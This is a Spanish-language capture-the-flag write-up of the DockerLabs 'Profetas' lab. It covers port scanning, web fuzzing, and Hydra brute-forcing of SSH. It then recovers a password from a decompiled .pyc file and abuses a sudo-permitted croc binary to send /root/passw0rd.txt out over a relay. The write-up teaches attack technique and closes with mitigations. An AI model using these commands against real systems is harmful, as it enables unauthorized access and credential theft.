Profetas

Introducción

Este documento presenta la resolución completa de la máquina Profetas, desarrollada por mikisbd para la plataforma DockerLabs, clasificada con una dificultad Media. El laboratorio expone una aplicación web que, tras un sencillo login sin validación, revela una lista de nombres de usuario. Combinando esta información con una pista codificada en Base64 encontrada en el código fuente, se deduce que la contraseña de cada usuario es igual a su propio nombre. Esto permite un ataque de fuerza bruta contra el servicio SSH, obteniendo acceso como el usuario jeremias. Tras el acceso inicial, se descubre un archivo .pyc (bytecode de Python) que contiene constantes numéricas que forman la contraseña del usuario ezequiel. Finalmente, mediante un abuso del binario croc ejecutable con sudo, se logra leer un archivo en /root que contiene la contraseña definitiva para acceder como superusuario. Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.

---

Información Técnica

Atributo	Valor
Nombre	Profetas
Autor	mikisbd
Dificultad	Medio
Fecha	12/07/2024
Plataforma	DockerLabs
IP Objetivo	172.17.0.2

---

Paso 0 — Despliegue y preparación

Se descomprime la máquina y se despliega utilizando el script proporcionado:

unzip Profetas.zip
sudo bash auto_deploy.sh Profetas.tar

Una vez iniciado el contenedor, se asigna la dirección IP correspondiente.

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:

mkdir -p Profetas/{content,exploits,nmap,scripts}
cd Profetas

---

Paso 1 — Reconocimiento

1.1 Escaneo de puertos

Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:

nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

El resultado muestra los siguientes servicios accesibles externamente:

• 22/tcp — SSH
• 80/tcp — HTTP

---

1.2 Enumeración web

Se procede a realizar fuzzing de rutas y archivos:

feroxbuster -u http://172.17.0.2 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
  -x php,html,txt,js -t 100 -C 404

Aquí encontramos varios endpoints interesantes: uploads, admin.php, dashboard.php.

• Index.php nos dirige a un login simple.

Al revisar el propio código fuente, se encuentra una pista clave:

Esta pista contiene una cadena en Base64 que, al decodificarla, obtenemos lo siguiente:
recuerda... tu contraseña es tu usuario.

---

Paso 2 — Explotación (acceso inicial)

Al intentar probar el login, nos damos cuenta de que no requiere ningún tipo de validación. Con el simple hecho de escribir test en ambos campos, se nos redirige a lo siguiente:

Esto parece ser una lista de servidores con distintos nombres de profetas, donde el servidor y el servicio contienen el mismo nombre. Esto es congruente con la pista encontrada en el código anterior. Por lo tanto, guardamos todos los nombres en un archivo llamado profetas.

Dado que el servicio SSH está activo, probamos un ataque de fuerza bruta con Hydra utilizando el mismo archivo como lista de usuarios y de contraseñas:

hydra -L profetas -P profetas ssh://172.17.0.2 -t 64 -I

Esto encuentra un resultado rápidamente:

Así obtenemos el usuario jeremias para el login por SSH:

ssh jeremias@172.17.0.2

Y obtenemos acceso:

---

Paso 3 — Escalada de privilegios

3.1 De jeremias → ezequiel

Revisando el home del usuario, nos encontramos con el archivo ezequiel.pyc, un archivo compilado de Python (bytecode), cuyo contenido no podemos listar correctamente. Por lo tanto, lo transferimos a nuestra máquina host para analizarlo.

Al ser un archivo .pyc, utilizamos la herramienta pycdc:

pycdc ezequiel.pyc > ezequiel_asm

Ahora revisamos este archivo resultante y nos dirigimos al área de constantes:

Aquí encontramos dos conjuntos de números que parecen ser parte de una combinación. Probamos hacer su ezequiel e ingresamos esa secuencia como contraseña, lo cual nos da acceso como dicho usuario:

3.2 De ezequiel → root

Lo primero que hacemos es revisar los permisos con sudo -l:

Aquí vemos que podemos ejecutar el binario croc como usuario root. Este binario permite leer cualquier archivo del sistema. Además, encontramos un archivo con la siguiente información:

Este archivo nos indica que existe un archivo /root/passw0rd.txt. Intentaremos enviarlo con croc:

sudo /usr/local/bin/croc --relay "172.17.0.2:9009" --pass "123" send /root/passw0rd.txt

Luego, en nuestra máquina host ejecutamos:

croc --relay "172.17.0.2:9009" --pass "123"

El archivo se recibe correctamente en nuestra máquina. Procedemos a leerlo:

Este archivo nos proporciona una contraseña que, al probarla con el usuario root, nos otorga acceso como superusuario:

---

Análisis de Vulnerabilidades

Fallos de Seguridad Identificados

Vulnerabilidad	Severidad	Impacto
Exposición de pista en código fuente (Base64)	Media	Revelación de la política de contraseñas
Login sin validación ni autenticación real	Media	Acceso no autorizado a panel interno
Reutilización de nombre de usuario como contraseña	Alta	Ataque de fuerza bruta exitoso contra SSH
Almacenamiento de bytecode de Python (.pyc) accesible	Media	Exposición de constantes y lógica interna
Contraseña de ezequiel contenida en constantes del .pyc	Alta	Escalada lateral sin necesidad de craqueo
Permiso sudo para croc sin restricciones	Crítica	Lectura de archivos arbitrarios del sistema, incluido /root/passw0rd.txt
Almacenamiento de contraseña de root en texto claro	Crítica	Compromiso total del sistema

---

Recomendaciones de Mitigación

• No almacenar pistas ni información sensible en el código fuente visible del lado del cliente.
• Implementar un sistema de autenticación real con validación de credenciales en el panel web.
• Evitar la política de “contraseña = nombre de usuario”, especialmente en entornos con acceso remoto (SSH).
• No desplegar archivos compilados de Python (.pyc) en entornos de producción si contienen información sensible.
• Revisar y endurecer las configuraciones de sudo: restringir los parámetros permitidos para binarios como croc.
• Nunca almacenar contraseñas en texto claro dentro del sistema, y mucho menos en el directorio /root.
• Implementar rotación periódica de contraseñas y uso de autenticación multifactor para cuentas privilegiadas.